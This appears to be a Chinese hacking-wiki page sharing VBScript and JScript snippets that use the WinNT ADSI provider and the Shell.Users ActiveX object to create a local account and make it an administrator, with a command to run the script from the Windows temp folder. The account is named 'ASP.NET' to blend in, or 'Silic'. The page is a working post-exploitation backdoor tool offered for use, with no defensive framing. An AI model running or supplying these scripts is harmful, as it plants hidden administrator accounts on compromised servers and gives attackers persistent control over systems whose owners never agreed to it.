用户工具

站点工具


工具分享:shell.user组件添加用户
user.vbs
a="WinNT://"&createObject("WSCRIPT.NETWORK").ComputerName
Set x=GetObject(a)
Set y=GetObject(a&"/Administrators,group")
Set z=x.create("user","ASP.NET")
z.SetPassword "[email protected]"
z.SetInfo
Set of=GetObject(a&"/" & "ASP.NET" & ",user")
y.Add(of.ADsPath)
For Each admin in y.Members
wscript.quit
Next
user.js
var o=new ActiveXObject( "Shell.Users" );
z=o.create("Silic") ;
z.changePassword("[email protected]","")z.setting("AccountType")=3;

user.vbs
Set o=CreateObject( "Shell.Users" )
Set z=o.create("Silic")
z.changePassword "[email protected]",""
z.setting("AccountType")=3

执行方式:

cscript c:\windows\temp\user.vbs
你需要登录发表评论。
工具分享/shell.user组件添加用户 · 最后更改: 2018/04/15 16:03

页面工具